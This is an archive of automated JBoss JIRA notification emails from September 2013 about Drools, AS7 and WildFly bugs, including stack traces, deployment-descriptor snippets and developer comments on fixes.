Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.16776.1378779424008@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802928#comment-12802928 ] 

Davide Sottara commented on DROOLS-244:
---------------------------------------

This last issue will be managed and fixed as DROOLS-257
                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 02:47:03 2013
From: jira-events at lists.jboss.org (Geoffrey De Smet (JIRA))
Date: Tue, 10 Sep 2013 02:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-207) Transitive dependencies are
 not in sync with EAP: scannotation and xmlschema-core
In-Reply-To: <JIRA.12497599.1375191750000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497599.1375191750000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497599.1375191750000.16883.1378795623455@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-207?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802952#comment-12802952 ] 

Geoffrey De Smet commented on DROOLS-207:
-----------------------------------------

[~mbiarnes] The modules are compiled against the version shown by "mvn dependency:tree" - and any unit tests are probably also run against that. So if they are changed later on and the war is ok, then this can still cause trouble.
The general rule is: the compilation classpath should be equal to the runtime classpath and the unit classpath, except if there's a good reason to make an exception (there are several exceptions already, but I hope we don't need one for this case).
                
> Transitive dependencies are not in sync with EAP: scannotation and xmlschema-core
> ---------------------------------------------------------------------------------
>
>                 Key: DROOLS-207
>                 URL: https://issues.jboss.org/browse/DROOLS-207
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Michael Biarnes Kiefer
>            Priority: Minor
>
> > EAP 6.1 --> kie-wb.war
> > ---------------------------------------------------------  
> > EAP has scannotation-1.0.2-redhat-2.jar --> kie-wb has 1.0.3
> > EAP has xmlschema-core-2.0.2-redhat-2.jar --> kie-wb has 2.0.3
> In theory this should not be able to happen.
> A dependency:tree on kie-wb show this:
> {code}
> [INFO] org.kie:kie-wb-webapp:war:6.1.0-SNAPSHOT
> ...
> [INFO] +- org.jbpm:jbpm-designer-backend:jar:6.1.0-SNAPSHOT:compile
> ...
> [INFO] |  +- org.jbpm:jbpm-workitems:jar:6.1.0-SNAPSHOT:compile (version managed from 6.1.0-SNAPSHOT)
> ...
> [INFO] |  |  \- org.apache.ws.xmlschema:xmlschema-core:jar:2.0.3:compile
> {code}
> and also
> {code}
> [INFO] org.kie:kie-wb-distribution-wars:pom:6.1.0-SNAPSHOT
> ...
> [INFO] +- org.jboss.resteasy:resteasy-jaxrs:jar:2.3.6.Final:compile
> [INFO] |  +- org.scannotation:scannotation:jar:1.0.3:compile
> {code}
> Investigate if any of those artifacts aren't messing with the transitive dependency version by overwriting their version. It's also possible that the bug is on the side of EAP (if they overwrite one of their transitive dependencies with a lower version).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 03:53:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 10 Sep 2013 03:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-2) Knowledge Agent resets the
 Rules that are using Negative Patterns to delaying with Fusion
In-Reply-To: <JIRA.12481148.1355487051000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481148.1355487051000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481148.1355487051000.17053.1378799583505@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-2?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802967#comment-12802967 ] 

Davide Sottara commented on DROOLS-2:
-------------------------------------

I could not reproduce it using Drools 5.6.0-SNAPSHOT, which version are you using?
Best
Davide
                
> Knowledge Agent resets the Rules that are using Negative Patterns to delaying with Fusion
> -----------------------------------------------------------------------------------------
>
>                 Key: DROOLS-2
>                 URL: https://issues.jboss.org/browse/DROOLS-2
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Adrian Paredes
>              Labels: Guvnor, KnowledgeAgent, KnowledgeBase, TemporalOperators
>
> If I had a rule of this style in progress:
> rule "Basic Rule"
> dialect 'mvel'
> when
>     $eventA: EventA($aId: id) from entry-point "time stream"
>     not EventB($aId == id, this after [0s,5m] $eventA) from entry-point "time stream"
> then
>     System.out.println("Event A " + $aId + " at " + $eventA.timestamp);
> end
> And this rule had been activated 2 minutes ago... When the KnowledgeAgent updates the StatefulKnowledgeSession, after someone updates the KnowledgeBase from Guvnor, the time intervals resets to zero, because all the activated rules are canceled and activated again later.
> The result is that the System.out fires 7 minutes after the event was inserted... 2 minutes later.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 04:25:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 04:25:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4776) Error during (re) adding
 connection factory using CLI
In-Reply-To: <JIRA.12466256.1336739568000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466256.1336739568000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466256.1336739568000.17134.1378801505665@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-4776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802978#comment-12802978 ] 

RH Bugzilla Integration commented on AS7-4776:
----------------------------------------------

Rostislav Svoboda <rsvoboda at redhat.com> made a comment on [bug 985576|https://bugzilla.redhat.com/show_bug.cgi?id=985576]

Removing jboss-eap-6.2.0 flag not to show this one in ACK_VIEW stats
                
> Error during (re) adding connection factory using CLI
> -----------------------------------------------------
>
>                 Key: AS7-4776
>                 URL: https://issues.jboss.org/browse/AS7-4776
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Stefano Maestri
>            Assignee: Stefano Maestri
>            Priority: Critical
>              Labels: EAP6_Needs_Triage
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>         Attachments: MDB.jar
>
>
> /subsystem=resource-adapters/resource-adapter=wsDS:add(archive=teiid-connector-ws.rar, transaction-support=NoTransaction)
> /subsystem=resource-adapters/resource-adapter=wsDS/connection-definitions=wsDS:add(jndi-name=java:/wsDS, class-name=org.teiid.resource.adapter.ws.WSManagedConnectionFactory, enabled=true, use-java-context=true)
> /subsystem=resource-adapters/resource-adapter=wsDS/connection-definitions=wsDS/config-properties=EndPoint:add(value={end_point})
> /subsystem=resource-adapters/resource-adapter=wsDS:activate
> /subsystem=resource-adapters/resource-adapter=wsDS:remove
> 20:48:02,169 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-1) MSC00001: Failed to start service jboss.ra.deployment."teiid-connector-ws.rar_1": org.jboss.msc.service.StartException in service jboss.ra.deployment."teiid-connector-ws.rar_1": org.jboss.jca.core.spi.mdr.NotFoundException: IJ000855: teiid-connector-ws isn't registered
>     at org.jboss.as.connector.metadata.deployment.ResourceAdapterXmlDeploymentService.start(ResourceAdapterXmlDeploymentService.java:127)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_26]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_26]
>     at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_26]
> Caused by: org.jboss.jca.core.spi.mdr.NotFoundException: IJ000855: teiid-connector-ws isn't registered
>     at org.jboss.jca.core.mdr.SimpleMetadataRepository.getResourceAdapter(SimpleMetadataRepository.java:150)
>     at org.jboss.as.connector.metadata.deployment.ResourceAdapterXmlDeploymentService.start(ResourceAdapterXmlDeploymentService.java:87)
>     ... 5 more
> The problem is present when there is only one RA definitions (added and activated explicitly by :activate operation after deployment of rar) and it's removed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 04:31:04 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Tue, 10 Sep 2013 04:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2033) NotSupported tx attribute is
 not taken into account without a MethodIntf for CMT MDB
In-Reply-To: <JIRA.12500366.1378801850539@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500366.1378801850539@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500366.1378801850539.17153.1378801864341@jira02.app.mwc.hst.phx2.redhat.com>

Jeff Mesnil created WFLY-2033:
---------------------------------

             Summary: NotSupported tx attribute is not taken into account without a MethodIntf for CMT MDB
                 Key: WFLY-2033
                 URL: https://issues.jboss.org/browse/WFLY-2033
             Project: WildFly
          Issue Type: Bug
            Reporter: Jeff Mesnil


A MDB is configured using a deployment descriptor as a CMT with:

{noformat}
    <assembly-descriptor>
        <container-transaction>
            <method>
                <ejb-name>ContainerManagedTransactionNotSupportedMDBWithDD</ejb-name>
                <method-name>onMessage</method-name>
                <method-params>
                    <method-param>javax.jms.Message</method-param>
                </method-params>
            </method>
            <trans-attribute>NotSupported</trans-attribute>
        </container-transaction>
    </assembly-descriptor>
{noformat}

According to the sec, a call to MessageDrivenContext.setRollbackOnly() in the MDB's onMessage() method must throw an illegal state exception (as there is no active transaction).

Thats's not the case.
I debugged the code and WildFly identifies the invocation as the component MESSAGE_ENDPOINT methodIntf and its tx attribute as REQUIRED. The call to MessageDrivenContext.setRollbackOnly() succeeds when it must not.

The component txattrs do contain a BEAN methodIntf for the same method onMessage(javax.jms.Message) with NOT_SUPPORTED that corresponds to the deployment descriptor but it is not used.

If I explicitly set

{noformat}
   <method-intf>MessageEndpoint</method-intf>
{noformat}

the test passes (MessageDrivenContext.setRollbackOnly() throws the expected exception)

I think it is a bug to have to specify the <method-intf> in the DD. The test should pass without it as this "style 3" method declaration is legal for MDB.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 04:45:06 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Tue, 10 Sep 2013 04:45:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2033) NotSupported tx attribute is
 not taken into account without a MethodIntf for CMT MDB
In-Reply-To: <JIRA.12500366.1378801850000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500366.1378801850000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500366.1378801850000.17196.1378802706598@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2033?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jeff Mesnil updated WFLY-2033:
------------------------------

             Fix Version/s: 8.0.0.Beta1
        Steps to Reproduce: 
1. fetch git branch

 https://github.com/jmesnil/wildfly/tree/WFLY-2033_CMT_TXNS_MDB_setRollbackOnly

2. run the test with

  ./integration-tests.sh -Dts.noSmoke  -Dts.basic -Dtest=org.jboss.as.test.integration.ejb.mdb.cmt.notsupported.ContainerManagedTransactionNotSupportedTestCase
                  Assignee: jaikiran pai
         Affects Version/s: 8.0.0.Alpha4
    Workaround Description: add <method-intf>MessageEndpoint</method-intf> to the deployment descriptor
               Component/s: EJB

    
> NotSupported tx attribute is not taken into account without a MethodIntf for CMT MDB
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2033
>                 URL: https://issues.jboss.org/browse/WFLY-2033
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> A MDB is configured using a deployment descriptor as a CMT with:
> {noformat}
>     <assembly-descriptor>
>         <container-transaction>
>             <method>
>                 <ejb-name>ContainerManagedTransactionNotSupportedMDBWithDD</ejb-name>
>                 <method-name>onMessage</method-name>
>                 <method-params>
>                     <method-param>javax.jms.Message</method-param>
>                 </method-params>
>             </method>
>             <trans-attribute>NotSupported</trans-attribute>
>         </container-transaction>
>     </assembly-descriptor>
> {noformat}
> According to the sec, a call to MessageDrivenContext.setRollbackOnly() in the MDB's onMessage() method must throw an illegal state exception (as there is no active transaction).
> Thats's not the case.
> I debugged the code and WildFly identifies the invocation as the component MESSAGE_ENDPOINT methodIntf and its tx attribute as REQUIRED. The call to MessageDrivenContext.setRollbackOnly() succeeds when it must not.
> The component txattrs do contain a BEAN methodIntf for the same method onMessage(javax.jms.Message) with NOT_SUPPORTED that corresponds to the deployment descriptor but it is not used.
> If I explicitly set
> {noformat}
>    <method-intf>MessageEndpoint</method-intf>
> {noformat}
> the test passes (MessageDrivenContext.setRollbackOnly() throws the expected exception)
> I think it is a bug to have to specify the <method-intf> in the DD. The test should pass without it as this "style 3" method declaration is legal for MDB.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 04:53:03 2013
From: jira-events at lists.jboss.org (Jeff Mesnil (JIRA))
Date: Tue, 10 Sep 2013 04:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2033) NotSupported tx attribute is
 not taken into account without a MethodIntf for CMT MDB
In-Reply-To: <JIRA.12500366.1378801850000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500366.1378801850000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500366.1378801850000.17290.1378803183452@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2033?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803013#comment-12803013 ] 

Jeff Mesnil commented on WFLY-2033:
-----------------------------------

I have pushed a Git branch to show the issues. The issue shows up only with DD-based MDB. A MDB annotated with TransactionAttribute(NOT_SUPPORTED) works as expected.
                
> NotSupported tx attribute is not taken into account without a MethodIntf for CMT MDB
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2033
>                 URL: https://issues.jboss.org/browse/WFLY-2033
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jeff Mesnil
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Beta1
>
>
> A MDB is configured using a deployment descriptor as a CMT with:
> {noformat}
>     <assembly-descriptor>
>         <container-transaction>
>             <method>
>                 <ejb-name>ContainerManagedTransactionNotSupportedMDBWithDD</ejb-name>
>                 <method-name>onMessage</method-name>
>                 <method-params>
>                     <method-param>javax.jms.Message</method-param>
>                 </method-params>
>             </method>
>             <trans-attribute>NotSupported</trans-attribute>
>         </container-transaction>
>     </assembly-descriptor>
> {noformat}
> According to the sec, a call to MessageDrivenContext.setRollbackOnly() in the MDB's onMessage() method must throw an illegal state exception (as there is no active transaction).
> Thats's not the case.
> I debugged the code and WildFly identifies the invocation as the component MESSAGE_ENDPOINT methodIntf and its tx attribute as REQUIRED. The call to MessageDrivenContext.setRollbackOnly() succeeds when it must not.
> The component txattrs do contain a BEAN methodIntf for the same method onMessage(javax.jms.Message) with NOT_SUPPORTED that corresponds to the deployment descriptor but it is not used.
> If I explicitly set
> {noformat}
>    <method-intf>MessageEndpoint</method-intf>
> {noformat}
> the test passes (MessageDrivenContext.setRollbackOnly() throws the expected exception)
> I think it is a bug to have to specify the <method-intf> in the DD. The test should pass without it as this "style 3" method declaration is legal for MDB.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 04:59:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 10 Sep 2013 04:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2030) Add ability to use
 annotations from Dependencies in web deployments
In-Reply-To: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500330.1378749840000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500330.1378749840000.17301.1378803543887@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2030?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas updated WFLY-2030:
---------------------------------

       Assignee: Stuart Douglas
    Component/s: Web (Undertow)

    
> Add ability to use annotations from Dependencies in web deployments
> -------------------------------------------------------------------
>
>                 Key: WFLY-2030
>                 URL: https://issues.jboss.org/browse/WFLY-2030
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 05:29:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 10 Sep 2013 05:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1533) UT015005: Error invoking
 method requestDestroyed on listener class
In-Reply-To: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494311.1371222584000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494311.1371222584000.17389.1378805343593@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1533?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803018#comment-12803018 ] 

Stuart Douglas commented on WFLY-1533:
--------------------------------------

It looks like this is caused by a combination of atmosphere long running requests and weld. Atmosphere starts a long running request, and weld stashes the attached session in a thread local. While this request is ongoing another requests ends the session. Once the atmosphere request ends weld attempts to use the session it stashed in a thread local, which has since been invalidated. 

A simple fix would be to call getLastAccesedTime on the session to ensure it is still valid. A better approach would be to just store the request, and not the session, and call getSession(false) each time. This would reduce the number of thread locals that weld needs to set. Ideally weld would only set a single thread local in the listener, which is the current request, and all other thread local data would be derived from that.    
                
> UT015005: Error invoking method requestDestroyed on listener class 
> -------------------------------------------------------------------
>
>                 Key: WFLY-1533
>                 URL: https://issues.jboss.org/browse/WFLY-1533
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha2, 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Jozef Hartinger
>         Attachments: mojarra-2.1.zip, testcase-WFLY-1533.zip
>
>
> I'm using a WildFly snapshot with Undertow 1.0.0.Alpha19 and Weld 2.0.1.Final. I'm getting the following stacktrace:
> 16:55:04,534 ERROR [io.undertow.servlet.request] UT015005: Error invoking method requestDestroyed on listener class org.jboss.weld.servlet.WeldListener: java.lang.IllegalStateException: UT000010: Session not found MDEkG_Aum5OlXUsjh11kGkh9
> 	at io.undertow.server.session.InMemorySessionManager$SessionImpl.getAttribute(InMemorySessionManager.java:221) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.spec.HttpSessionImpl.getAttribute(HttpSessionImpl.java:106) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:25) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.http.HttpConversationContextImpl.getSessionAttribute(HttpConversationContextImpl.java:13) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.context.AbstractConversationContext.dissociate(AbstractConversationContext.java:161) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.ConversationContextActivator.disassociateConversationContext(ConversationContextActivator.java:162) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.HttpContextLifecycle.requestDestroyed(HttpContextLifecycle.java:159) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at org.jboss.weld.servlet.WeldListener.requestDestroyed(WeldListener.java:91) [weld-core-impl-2.0.1.Final.jar:2013-06-03 10:29]
> 	at io.undertow.servlet.core.ApplicationListeners.requestDestroyed(ApplicationListeners.java:196) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:159) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:114) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:47) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:90) [undertow-servlet-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:607) [undertow-core-1.0.0.Alpha19.jar:1.0.0.Alpha19]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 05:39:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 10 Sep 2013 05:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1899) Conversation timeout is broken
In-Reply-To: <JIRA.12498864.1376922359000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498864.1376922359000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498864.1376922359000.17403.1378805943529@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1899?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803021#comment-12803021 ] 

Stuart Douglas commented on WFLY-1899:
--------------------------------------

I'm still not sure what is happening here. The log shows the weld contexts being setup, so you should not be getting the conversation not active exception. It will be hard to get to the bottom of this one without a reproducer


                
> Conversation timeout is broken
> ------------------------------
>
>                 Key: WFLY-1899
>                 URL: https://issues.jboss.org/browse/WFLY-1899
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Stuart Douglas
>         Attachments: server.log
>
>
> When I'm already logged in in a JSF web app and get a CDI/Weld conversation timeout, then an error page should be shown.
> However, I'm getting the stacktrace below, and a blank page instead of the error page is shown.
> The error page is configured in web.xml:
> {code}
>   <error-page>
>     <exception-type>org.jboss.weld.context.NonexistentConversationException</exception-type>
>     <location>/error/conversationTimeout.xhtml?nocid=true</location>
>   </error-page>
> {code}
> Stacktrace with the current snapshot of WildFly using Undertow 1.0.0.Beta8 in the WildFly console:
> 16:20:12,466 ERROR [io.undertow.request] Exception while generating error page /error/conversationTimeout.xhtml?nocid=true: java.lang.RuntimeException: java.lang.IllegalStateException: JBAS017329: No security context found
> 	at io.undertow.servlet.spec.RequestDispatcherImpl.error(RequestDispatcherImpl.java:394) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.spec.RequestDispatcherImpl.error(RequestDispatcherImpl.java:315) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:222) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:623) [undertow-core-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.IllegalStateException: JBAS017329: No security context found
> 	at org.wildfly.extension.undertow.security.SecurityActions$5.run(SecurityActions.java:119)
> 	at org.wildfly.extension.undertow.security.SecurityActions$5.run(SecurityActions.java:114)
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at org.wildfly.extension.undertow.security.SecurityActions.pushRunAsIdentity(SecurityActions.java:114)
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:88)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchToPath(ServletInitialHandler.java:139) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	at io.undertow.servlet.spec.RequestDispatcherImpl.error(RequestDispatcherImpl.java:388) [undertow-servlet-1.0.0.Beta8.jar:1.0.0.Beta8]
> 	... 10 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 06:02:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 06:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-164) java.io.IOException Channel
 closed exception after several reload of server
In-Reply-To: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473197.1346156423000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473197.1346156423000.17426.1378807323696@jira02.app.mwc.hst.phx2.redhat.com>


